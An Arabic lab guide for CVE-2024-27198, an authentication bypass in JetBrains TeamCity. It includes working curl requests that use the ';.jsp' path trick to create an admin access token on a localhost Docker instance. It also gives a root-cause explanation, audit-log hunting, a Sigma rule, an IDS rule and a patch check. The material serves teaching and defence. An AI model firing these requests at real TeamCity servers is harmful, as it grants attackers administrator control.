
مختبر لـ CVE-2024-27198
تقدم TeamCity صفحة خاصة بالمسؤول لإدارة الرموز المميزة غير محمية بالمصادقة. وهذا يسمح لمستخدم غير مصادق عليه بإنشاء رمز وصول للمستخدم المسؤول إذا تمكن من العثور على معرّف مستخدم موجود.
تكمن الثغرة في آلية توجيه REST API. من خلال إلحاق أحرف محددة (مثل ?jsp=/app/rest/...;.jsp) بنقطة نهاية غير مصادق عليها، يمكن للمهاجمين خداع خادم الويب TeamCity لتوجيه الطلب إلى نقطة نهاية مصادق عليها مع تجاوز مرشحات الأمان. هذا لا يتطلب أي معرفة أو وصول مسبق، مما يجعله نقاء 9.8 CVSS.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
الوصول إلى مثيل Teamcity الضعيف على http://localhost:8111. الوصول إلى مثيل Teamcity المُصحّح على http://localhost:8112.
اسم المستخدم:
admin
كلمة المرور:
admin
طلب GET لمورد بدون مصادقة:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
كلاهما يجب أن يعيد خطأ برمز حالة 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
يجب أن يعيد رمزًا مميزًا مثل هذا (الرمز مختلف في كل مرة):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
يجب أن يعيد خطأ برمز حالة 401 لأن المثيل المُصحّح لا يحتوي على الثغرة.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
يجب أن يعيد قائمة المستخدمين.
أثناء العرض التوضيحي في المختبر، يمكنك إظهار اكتشاف كبير للفريق الأزرق: بشكل افتراضي، هذه الثغرة خفية بشكل لا يصدق!
;.jsp لا يتم تسجيلها.إذا كيف نلتقطه؟ عندما يقوم المهاجم بتنظيف آثاره! عندما يقوم المهاجم بحذف الرمز المارق للاختباء، فإن TeamCity يسجل ذلك.
ابحث عن المهاجم الذي يغطي آثاره في سجلات التدقيق:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(سترى إدخال سجل يشير إلى أنه تم حذف الرمز "REDTEAM").
docker compose -f docker-compose.yml down
هذه الثغرة هي حالة من CWE-288: تجاوز المصادقة باستخدام مسار أو قناة بديلة.
ينبع الخلل من مشكلة ارتباك المسار بين خادم الويب Tomcat وجهاز توجيه تطبيق TeamCity. من خلال إلحاق ;.jsp وتمرير نقطة نهاية REST API الهدف في معامل jsp=، يفسر مرشح الأمان الأولي الطلب كطلب غير مصادق عليه لملف .jsp عام (وهو مسموح به). ومع ذلك، يقوم جهاز التوجيه الداخلي بإزالة ;.jsp ويعيد توجيه الطلب إلى نقطة النهاية المقيدة /app/rest/ دون فرض مرشح المصادقة.
حالة استخدام مشروعة (لماذا يُسمح بـ ;؟):
يستخدم Tomcat رمز الفاصلة المنقوطة (;) لـ معاملات المصفوفة. تاريخيًا، تُستخدم هذه الآلية لتمرير المعاملات مباشرة داخل المسار، مثل إلحاق JSESSIONID للحفاظ على حالة جلسة المستخدم عند تعطيل ملفات تعريف الارتباط. هذا السلوك العادي والمشروع لخادم الويب، بالإضافة إلى التحقق غير السليم من قبل جهاز توجيه تطبيق TeamCity، هو ما يخلق الثغرة.
للكشف عن اختراق جارٍ أو سابق، يجب على الفرق الزرقاء البحث عن:
/app/rest/ ولكن تحتوي على السلسلة الشاذة ;.jsp في URI.teamcity-server.log): إنشاء غير مفسر لرموز الوصول أو إنشاء حسابات إدارية جديدة.لأن الاستغلال الأولي خفي بشكل افتراضي، يجب على الفرق الزرقاء الاعتماد على كشف إجراءات ما بعد الاستغلال للمهاجم، مثل تغطية آثاره. إليك قاعدة سيغما لـ SIEM الخاص بك لاكتشاف عمليات حذف الرموز المشبوهة:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
لإثبات أن هذا الكشف يعمل، قم بتشغيل البرنامج النصي siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
للكشف عن محاولة الاستغلال هذه على الشبكة، يمكن لمركز عمليات الأمن تطبيق قاعدة IDS التالية، والتي تبحث عن النمط الشاذ ;.jsp مع مسارات REST API:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
لإثبات أن التخفيف يعمل، يمكنك إطلاق حمولة الاستغلال نفسها بالضبط ضد حاوية TeamCity المُصحّحة التي تعمل على المنفذ 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
لأن التصحيح يفرض مطابقة المسار بشكل صارم وينظف معاملات المصفوفة بشكل صحيح، سيفشل الالتفاف. يجب أن ترى رد 401 غير مصرح أو 404 غير موجود بدلاً من رمز مميز مولّد.